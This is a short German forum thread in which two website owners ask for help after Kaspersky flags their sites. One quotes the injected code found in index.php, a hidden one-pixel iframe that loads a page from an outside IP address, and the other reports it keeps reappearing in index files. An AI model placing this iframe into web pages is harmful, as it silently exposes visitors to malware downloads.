Trojaner Downloader

nanox_1
http://81.95.149.26/logo/index.php

da hab ich ne warnung von Kaspersky das das ein trojandownloader ist.

in der index PHP steht in der letzten zeile genau das was auch die url der meldung ist

?><iframe src='http://81.95.149.26/logo/index.php' width='1' height='1' style='visibility: hidden;'></iframe>


was kann ich machen muss das drinn bleiben ???
o0copycat0o
das problem habe ich auch! wäre für jeden rat dankbar!
habe es schon mehrfach gelöscht und der index.php nur noch leserechte gegeben.
doch dieser ****** code schreibt sich ständig wieder in die dateien!
es werden allerdings nur dateien mit dem titel index befallen.
ich habe keine ahung wo des her kommt!